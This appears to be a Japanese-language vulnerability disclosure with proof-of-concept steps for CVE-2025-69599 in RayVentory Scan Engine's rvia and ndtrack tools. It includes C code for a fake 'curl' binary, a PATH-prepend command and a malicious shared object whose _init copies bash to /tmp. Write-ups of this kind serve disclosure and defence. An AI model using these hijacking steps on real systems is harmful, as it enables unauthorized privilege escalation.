
概念実証エクスプロイト - CVE-2025-69599:RayVentory Scan Engineにおける制御不能な検索パス要素を、PATHハイジャックと共有オブジェクトインジェクションを介して特権昇格へと悪用する実証コード。
Raynet の rvia は、制御されていない検索パス要素の問題に対して脆弱です。共有オブジェクトをロードし、システムバイナリ(.so やヘルパーバイナリなど)を呼び出す際に相対パスが使用されるため、ユーザーが PATH 環境変数の操作を通じて実行される最終的なバイナリや .so オブジェクトを改ざんすることが可能です。

次の証拠では、/tmp ディレクトリに curl という任意のバイナリが作成されています。
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # バイナリのコンパイル
PATH 変数が変更され、rvia によって curl コマンドが呼び出されたときに最初に検索されるディレクトリが /tmp になります。
export PATH=/tmp:$PATH
その後、/opt/rvia/rvia getconfig を呼び出すと、改ざんされた curl バイナリが使用されます。

同様の問題は upload オプションにも適用されます。

同じ問題は、rvia inventory オプションを使用した場合にも見られます。このオプションは内部で ndtrack バイナリを呼び出します。ndtrack バイナリは、cat および sh コマンドを相対パスで呼び出します。


最後に、ndtrack バイナリが相対パスを使用して共有オブジェクト .so ファイル を取り込んでいることも検出されました。

次の証拠では、libnetselector.so への相対呼び出しを置き換える手順を示しています(libuploader.so でも同様の操作が可能です)。この場合、カスタム共有オブジェクトが作成され、この共有オブジェクトが実行されると、/tmp ディレクトリに bash_so_hijack として bash のコピーが作成されます。
以下は、libnetselector.so というカスタム共有オブジェクトを作成するための C コードです。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # 共有オブジェクトのコンパイル

重要な注意点として、これは ndtrack を直接呼び出した場合にのみ機能します。inventory オプションが呼び出された場合、/opt/rvia にある ndtrack という bash スクリプトが呼び出され、そのスクリプトが ndtrack バイナリを呼び出す前に PATH 環境変数を設定するためです。
